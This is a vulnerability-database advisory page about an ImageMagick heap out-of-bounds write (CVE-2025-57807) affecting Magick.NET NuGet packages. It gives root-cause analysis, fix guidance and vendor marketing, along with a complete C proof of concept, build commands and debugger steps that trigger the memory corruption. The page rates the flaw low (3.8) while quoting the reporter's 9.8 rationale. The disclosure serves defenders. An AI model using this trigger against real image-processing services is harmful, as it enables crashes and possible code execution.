Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
.NET
.NET NuGet
Not in CISA KEV
LOW severity

GHSA-23hg-53q6-hqfg Magick.NET-Q16-x64

LOWFix: ImageMagick/ImageMagick@077a417

GHSA-23hg-53q6-hqfg is a low-severity (CVSS 3.8) CWE-122 vulnerability in Magick.NET-Q16-x64. A fix is available for Magick.NET-Q16-x64 — see the affected versions and patch details below.

ImageMagick BlobStream Forward-Seek Under-Allocation

Also known asCVE-2025-57807
Published
Sep 5, 2025
Updated
Nov 3, 2025
Affected
12 pkgs
Patched
12 / 12
Exploits
None indexed
Exploitation data as of Sep 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-23hg-53q6-hqfg.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-23hg-53q6-hqfg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

12 pkgs affected
.NETMagick.NET-Q16-x64.NETMagick.NET-Q8-x64.NETMagick.NET-Q16-HDRI-x64.NETMagick.NET-Q8-OpenMP-x64.NETMagick.NET-Q16-HDRI-OpenMP-x64.NETMagick.NET-Q16-OpenMP-x64.NETMagick.NET-Q8-arm64.NETMagick.NET-Q16-arm64+4 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution


Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.


Affected Scope

  • Versions confirmed: 7.1.2-0, 7.1.2-1

  • Architectures: Observed on macOS arm64; architecture-agnostic on LP64

  • Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()).

  • Not required: External delegates; special policies; integer wraparound


Technical Root Cause

Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*

Contract mismatch:

  • SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.

  • WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:

    q = data + (size_t)offset;
    memmove(q, src, length);
    

    There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extentq is beyond the allocation.

Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.


Exploitability & Reachability

  • Primitive: Controlled bytes written at a controlled displacement from the buffer base.

  • Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.

  • Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.


Impact Assessment

  • Integrity: High - adjacent object/metadata overwrite plausible.

  • Availability: High - reliably crashable (ASan and non-ASan).

  • Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.

  • RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.


CVSS v3.1 Rationale (9.8)

  • AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.

  • AC:L - a single forward seek + write suffices; no races or specialized state.

  • S:U - corruption localized to the ImageMagick process.

  • C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.


Violated Invariant

Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.


Remediation (Principle)

In WriteBlob() (BlobStream case):

  1. Checked requirement:
    need = (size_t)offset + length; → if need < (size_t)offset, overflow → fail.

  2. Ensure capacity ≥ need:
    target = MagickMax(extent + quantum + length, need);
    (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)

  3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

  • Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.

  • Centralize blob arithmetic in checked helpers.

  • Unit tests: forward-seek-then-write (success and overflow-reject).


Regression & Compatibility

  • Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).

  • Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.


Vendor Verification Checklist

  • Reproduce with a minimal in-memory BlobStream harness under ASan.

  • Apply fix; verify extent ≥ offset + length at all write sites.

  • Add forward-seek test cases (positive/negative).

  • Audit other growth sites (SetBlobExtent, stream helpers).

  • Clarify BlobStream seek semantics in documentation.

  • Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.


PoC / Reproduction / Notes

Environment

  • OS/Arch: macOS 14 (arm64)

  • Compiler: clang-17 with AddressSanitizer

  • ImageMagick: Q16-HDRI

  • Prefix: ~/opt/im-7.1.2-0

  • pkg-config: from PATH (no hard-coded /usr/local/...)


Build ImageMagick 7.1.2-0 (static, minimal)

./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
  --disable-shared --enable-static --without-modules \
  --without-magick-plus-plus --disable-openmp --without-perl \
  --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)"
make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt

Build & Run the PoC (memory-backed BlobStream)

poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

// poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"

  

int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;

  

// 1-byte memory blob → BlobStream

unsigned char *buf = (unsigned char*) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

  

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

  

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

  

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}

run:

# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
  $(pkg-config --cflags MagickCore-7.Q16HDRI) \
  $(pkg-config --static --libs MagickCore-7.Q16HDRI)

# Execute and capture
./poc 2>&1 | tee asan.log

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1
[+] after seek:  off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).


Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run

# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue

# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)

# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum

Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.


Credits

Reported by: Lumina Mescuwa


Affected Packages

12 total 12 fixed
EcosystemPackageVulnerable rangeFix
.NETNuGetMagick.NET-Q16-x64all versions14.8.2dotnet add package Magick.NET-Q16-x64 --version 14.8.2
.NETNuGetMagick.NET-Q8-x64all versions14.8.2dotnet add package Magick.NET-Q8-x64 --version 14.8.2
.NETNuGetMagick.NET-Q16-HDRI-x64all versions14.8.2dotnet add package Magick.NET-Q16-HDRI-x64 --version 14.8.2
.NETNuGetMagick.NET-Q8-OpenMP-x64all versions14.8.2dotnet add package Magick.NET-Q8-OpenMP-x64 --version 14.8.2
.NETNuGetMagick.NET-Q16-HDRI-OpenMP-x64all versions14.8.2dotnet add package Magick.NET-Q16-HDRI-OpenMP-x64 --version 14.8.2
.NETNuGetMagick.NET-Q16-OpenMP-x64all versions14.8.2dotnet add package Magick.NET-Q16-OpenMP-x64 --version 14.8.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Magick.NET-Q16-x64, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update Magick.NET-Q16-x64 to 14.8.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-23hg-53q6-hqfg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-23hg-53q6-hqfg can be triaged on real exposure rather than presence alone.

Tailored to GHSA-23hg-53q6-hqfg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Frequently Asked Questions

**Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the strea
O3 Security · Impact-Aware SCA

Is GHSA-23hg-53q6-hqfg in your dependencies?

O3 Security finds GHSA-23hg-53q6-hqfg across NuGet dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-23hg-53q6-hqfg: RCE (Low 3.8) | O3 Security